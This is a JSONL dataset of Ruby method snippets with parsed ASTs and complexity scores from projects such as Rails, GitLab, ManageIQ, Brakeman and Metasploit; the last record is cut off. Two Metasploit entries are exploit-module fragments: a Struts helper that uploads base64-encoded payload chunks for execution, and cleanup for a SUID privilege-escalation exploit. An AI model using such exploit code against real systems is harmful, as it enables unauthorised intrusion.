{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/asan_suid_executable_priv_esc.rb","start_line":272,"raw_source":"def cleanup\n    # Safety check to ensure we don't delete everything in the working directory\n    if @log_prefix.to_s.strip.eql? ''\n      vprint_warning \"#{datastore['SPRAY_SIZE']} symlinks may require manual cleanup in: #{pwd}\"\n    else\n      cmd_exec \"rm #{pwd}/#{@log_prefix}*\"\n    end\n  ensure\n    super\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_prefix\"]},\"to_s\"]},\"strip\"]},\"eql?\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SPRAY_SIZE\"]}]}]},{\"type\":\"str\",\"children\":[\" symlinks may require manual cleanup in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pwd\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rm \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pwd\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_prefix\"]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"5e012ee8-ea31-4907-8815-245b80983f6c"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/container.rb","start_line":41,"raw_source":"def ems_event_filter\n    {\n      \"container_name\"      => name,\n      \"container_namespace\" => container_project.name,\n      \"ems_id\"              => ext_management_system.id,\n    }\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ems_event_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"container_name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"container_namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_project\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ems_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"id\"]}]}]}]}","id":"89e6ed55-5b90-4f37-9bfa-7aebefcefc0c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-rspec_flaky/lib/gitlab/rspec_flaky/listener.rb","start_line":25,"raw_source":"def example_passed(notification)\n        current_example = Example.new(notification.example)\n\n        return unless current_example.attempts > 1\n\n        flaky_example = suite_flaky_examples.fetch(current_example.uid) do\n          FlakyExample.new(current_example.to_h)\n        end\n        flaky_example.update!(current_example.to_h)\n\n        flaky_examples[current_example.uid] = flaky_example\n      end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"example_passed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_example\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Example\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"example\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_example\"]},\"attempts\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"flaky_example\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"suite_flaky_examples\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_example\"]},\"uid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FlakyExample\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_example\"]},\"to_h\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flaky_example\"]},\"update!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_example\"]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flaky_examples\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_example\"]},\"uid\"]},{\"type\":\"lvar\",\"children\":[\"flaky_example\"]}]}]}]}","id":"32bfa3e5-eeb6-4090-905f-d76776ad29a0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/manageiq/providers/infra_manager/metrics_capture_spec.rb","start_line":41,"raw_source":"def assert_infra_targets_enabled(targets)\n    targets.each do |t|\n      expected_enabled = case t\n                         when Vm then      t.host.perf_capture_enabled?\n                         when Host then    t.ems_cluster ? t.ems_cluster.perf_capture_enabled? : t.perf_capture_enabled?\n                         when Storage then t.perf_capture_enabled?\n                         end\n      expect(expected_enabled).to be_truthy\n    end\n  end","complexity_score":24.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_infra_targets_enabled\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"targets\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_enabled\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vm\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"host\"]},\"perf_capture_enabled?\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Host\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"ems_cluster\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"ems_cluster\"]},\"perf_capture_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"perf_capture_enabled?\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"perf_capture_enabled?\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"expected_enabled\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_truthy\"]}]}]}]}]}","id":"8b306c3b-f3ae-45bc-9329-7d56691be2bd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/struts_include_params.rb","start_line":176,"raw_source":"def java_upload_part(part, filename, append = false)\n    cmd = @java_upload_part_cmd.gsub(/FILENAME/, filename)\n    append = append ? \"true\" : \"false\" # converted for the string replacement.\n    cmd = cmd.gsub!(/APPEND/, append)\n    cmd = cmd.gsub!(/BUFFER/, Rex::Text.encode_base64(part))\n    execute_command(cmd)\n  end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"java_upload_part\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]},{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"optarg\",\"children\":[\"append\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@java_upload_part_cmd\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"append\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"append\"]},{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"str\",\"children\":[\"false\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"APPEND\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"append\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"BUFFER\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"part\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"d7c5663e-b4cd-4e88-b44f-b76751032d03"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":344,"raw_source":"def test_creating_the_belonging_object_from_new_record\n    citibank = Account.new(\"credit_limit\" => 10)\n    apple    = citibank.create_firm(\"name\" => \"Apple\")\n    assert_equal apple, citibank.firm\n    citibank.save\n    citibank.reload\n    assert_equal apple, citibank.firm\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_creating_the_belonging_object_from_new_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"citibank\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"credit_limit\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"apple\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"create_firm\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Apple\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"apple\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"firm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"apple\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank\"]},\"firm\"]}]}]}]}","id":"1a99bd74-2577-4cb3-85f8-6752dcfc39b7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_creator.rb","start_line":19,"raw_source":"def valid?\n    topic = Topic.new(setup_topic_params)\n    # validate? will clear the error hash\n    # so we fire the validation event after\n    # this allows us to add errors\n    valid = topic.valid?\n\n    validate_visibility(topic)\n\n    category = find_category\n    if category.present? && guardian.can_tag?(topic)\n      tags = @opts[:tags].presence || []\n\n      # adds topic.errors\n      DiscourseTagging.validate_category_tags(guardian, topic, category, tags)\n    end\n\n    DiscourseEvent.trigger(:after_validate_topic, topic, self)\n    valid &&= topic.errors.empty?\n\n    add_errors_from(topic) unless valid\n\n    valid\n  end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"setup_topic_params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"valid?\"]}]},{\"type\":\"send\",\"children\":[null,\"validate_visibility\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[null,\"find_category\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_tag?\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},\"presence\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseTagging\"]},\"validate_category_tags\",{\"type\":\"send\",\"children\":[null,\"guardian\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"after_validate_topic\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"and_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"valid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"errors\"]},\"empty?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid\"]},null,{\"type\":\"send\",\"children\":[null,\"add_errors_from\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},{\"type\":\"lvar\",\"children\":[\"valid\"]}]}]}","id":"688f7346-688b-497e-8bba-eda02f4875ad"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/rollup.rb","start_line":169,"raw_source":"def self.rollup_realtime(obj, rt_ts, _interval_name, _time_profile, new_perf, orig_perf)\n    # Roll up realtime metrics from child objects\n    children = obj.class::PERF_ROLLUP_CHILDREN\n    children.each { |c| new_perf.merge!(rollup_child_metrics(obj, rt_ts, 'realtime', c)) } unless children.empty?\n\n    new_perf.reverse_merge!(orig_perf)\n    new_perf.merge!(Metric::Processing.process_derived_columns(obj, new_perf, rt_ts)) unless DERIVED_COLS_EXCLUDED_CLASSES.include?(obj.class.base_class.name)\n\n    new_perf\n  end","complexity_score":18.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rollup_realtime\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]},{\"type\":\"arg\",\"children\":[\"rt_ts\"]},{\"type\":\"arg\",\"children\":[\"_interval_name\"]},{\"type\":\"arg\",\"children\":[\"_time_profile\"]},{\"type\":\"arg\",\"children\":[\"new_perf\"]},{\"type\":\"arg\",\"children\":[\"orig_perf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"children\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"class\"]},\"PERF_ROLLUP_CHILDREN\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"empty?\"]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_perf\"]},\"merge!\",{\"type\":\"send\",\"children\":[null,\"rollup_child_metrics\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"rt_ts\"]},{\"type\":\"str\",\"children\":[\"realtime\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_perf\"]},\"reverse_merge!\",{\"type\":\"lvar\",\"children\":[\"orig_perf\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DERIVED_COLS_EXCLUDED_CLASSES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"class\"]},\"base_class\"]},\"name\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_perf\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Processing\"]},\"process_derived_columns\",{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"lvar\",\"children\":[\"new_perf\"]},{\"type\":\"lvar\",\"children\":[\"rt_ts\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"new_perf\"]}]}]}","id":"487a9fe1-7311-4039-9f07-b232f1f8ec82"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":98,"raw_source":"def test_should_return_float_average_if_db_returns_such\n    NumericData.create!(temperature: 37.5)\n    value = NumericData.average(:temperature)\n\n    assert_equal 37.5, value\n    assert_instance_of Float, value\n\n    if current_adapter?(:PostgreSQLAdapter, :SQLite3Adapter)\n      NumericData.create!(temperature: \"Infinity\")\n      value = NumericData.average(:temperature)\n\n      assert_equal Float::INFINITY, value\n      assert_instance_of Float, value\n    end\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_return_float_average_if_db_returns_such\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NumericData\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"temperature\"]},{\"type\":\"float\",\"children\":[37.5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NumericData\"]},\"average\",{\"type\":\"sym\",\"children\":[\"temperature\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"float\",\"children\":[37.5]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Float\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"PostgreSQLAdapter\"]},{\"type\":\"sym\",\"children\":[\"SQLite3Adapter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NumericData\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"temperature\"]},{\"type\":\"str\",\"children\":[\"Infinity\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NumericData\"]},\"average\",{\"type\":\"sym\",\"children\":[\"temperature\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"Float\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]}]}]}","id":"15af27f2-225b-461b-828c-4939c14d7253"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/notification.rb","start_line":104,"raw_source":"def send_mention_notification(mention)\n      return if MentionDecorator.new(mention).mentioned_by_blocked_user?\n\n      Notifications::MentionWorker.perform_async(mention.id)\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_mention_notification\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mention\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MentionDecorator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"mention\"]}]},\"mentioned_by_blocked_user?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notifications\"]},\"MentionWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mention\"]},\"id\"]}]}]}]}","id":"efa30334-96f9-4d86-b3e6-2ec971eaf5e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":726,"raw_source":"def merge_request\n      strong_memoize(:merge_request) do\n        pipeline.all_merge_requests.order(iid: :asc).first\n      end\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"merge_request\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"all_merge_requests\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]},\"first\"]}]}]}","id":"fca53e70-7f94-4ec9-baa9-d92e35683019"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_sql_cves.rb","start_line":13,"raw_source":"def check_rails_versions_against_cve_issues\n    issues = [\n      {\n        :cve => \"CVE-2012-2660\",\n        :versions => [%w[2.0.0 2.3.14 2.3.17], %w[3.0.0 3.0.12 3.0.13], %w[3.1.0 3.1.4 3.1.5], %w[3.2.0 3.2.3 3.2.4]],\n        :url => \"https://groups.google.com/d/topic/rubyonrails-security/8SA-M3as7A8/discussion\"\n      },\n      {\n        :cve => \"CVE-2012-2661\",\n        :versions => [%w[3.0.0 3.0.12 3.0.13], %w[3.1.0 3.1.4 3.1.5], %w[3.2.0 3.2.3 3.2.5]],\n        :url => \"https://groups.google.com/d/topic/rubyonrails-security/dUaiOOGWL1k/discussion\"\n      },\n      {\n        :cve => \"CVE-2012-2695\",\n        :versions => [%w[2.0.0 2.3.14 2.3.15], %w[3.0.0 3.0.13 3.0.14], %w[3.1.0 3.1.5 3.1.6], %w[3.2.0 3.2.5 3.2.6]],\n        :url => \"https://groups.google.com/d/topic/rubyonrails-security/l4L0TEVAz1k/discussion\"\n      },\n      {\n        :cve => \"CVE-2012-5664\",\n        :versions => [%w[2.0.0 2.3.14 2.3.15], %w[3.0.0 3.0.17 3.0.18], %w[3.1.0 3.1.8 3.1.9], %w[3.2.0 3.2.9 3.2.18]],\n        :url => \"https://groups.google.com/d/topic/rubyonrails-security/DCNTNp_qjFM/discussion\"\n      },\n      {\n        :cve => \"CVE-2013-0155\",\n        :versions => [%w[2.0.0 2.3.15 2.3.16], %w[3.0.0 3.0.18 3.0.19], %w[3.1.0 3.1.9 3.1.10], %w[3.2.0 3.2.10 3.2.11]],\n        :url => \"https://groups.google.com/d/topic/rubyonrails-security/c7jT-EeN9eI/discussion\"\n      },\n      {\n        :cve => \"CVE-2016-6317\",\n        :versions => [%w[4.2.0 4.2.7.0 4.2.7.1]],\n        :url => \"https://groups.google.com/d/msg/ruby-security-ann/WccgKSKiPZA/9DrsDVSoCgAJ\"\n      },\n\n    ]\n\n    unless lts_version? '2.3.18.6'\n     issues << {\n        :cve => \"CVE-2013-6417\",\n        :versions => [%w[2.0.0 3.2.15 3.2.16], %w[4.0.0 4.0.1 4.0.2]],\n        :url => \"https://groups.google.com/d/msg/ruby-security-ann/niK4drpSHT4/g8JW8ZsayRkJ\"\n      }\n    end\n\n    if tracker.config.has_gem? :pg\n      issues << {\n        :cve => \"CVE-2014-3482\",\n        :versions => [%w[2.0.0 2.9.9 3.2.19], %w[3.0.0 3.2.18 3.2.19], %w[4.0.0 4.0.6 4.0.7], %w[4.1.0 4.1.2 4.1.3]],\n        :url => \"https://groups.google.com/d/msg/rubyonrails-security/wDxePLJGZdI/WP7EasCJTA4J\"\n      } <<\n      {\n        :cve => \"CVE-2014-3483\",\n        :versions => [%w[2.0.0 2.9.9 3.2.19], %w[3.0.0 3.2.18 3.2.19], %w[4.0.0 4.0.6 4.0.7], %w[4.1.0 4.1.2 4.1.3]],\n        :url => \"https://groups.google.com/d/msg/rubyonrails-security/wDxePLJGZdI/WP7EasCJTA4J\" }\n    end\n\n    issues.each do |cve_issue|\n      cve_warning_for cve_issue[:versions], cve_issue[:cve], cve_issue[:url]\n    end\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_rails_versions_against_cve_issues\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issues\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2012-2660\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"2.0.0\"]},{\"type\":\"str\",\"children\":[\"2.3.14\"]},{\"type\":\"str\",\"children\":[\"2.3.17\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.12\"]},{\"type\":\"str\",\"children\":[\"3.0.13\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.1.0\"]},{\"type\":\"str\",\"children\":[\"3.1.4\"]},{\"type\":\"str\",\"children\":[\"3.1.5\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.2.0\"]},{\"type\":\"str\",\"children\":[\"3.2.3\"]},{\"type\":\"str\",\"children\":[\"3.2.4\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/8SA-M3as7A8/discussion\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cve\"]},{\"type\":\"str\",\"children\":[\"CVE-2012-2661\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"versions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.0.0\"]},{\"type\":\"str\",\"children\":[\"3.0.12\"]},{\"type\":\"str\",\"children\":[\"3.0.13\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.1.0\"]},{\"type\":\"str\",\"children\":[\"3.1.4\"]},{\"type\":\"str\",\"children\":[\"3.1.5\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"3.2.0\"]},{\"type\":\"str\",\"children\":[\"3.2.3\"]},{\"type\":\"str\",\"children\":[\"3.2.5\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/topic/rubyonrails-security/dUaiOOGWL1k/discussion\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\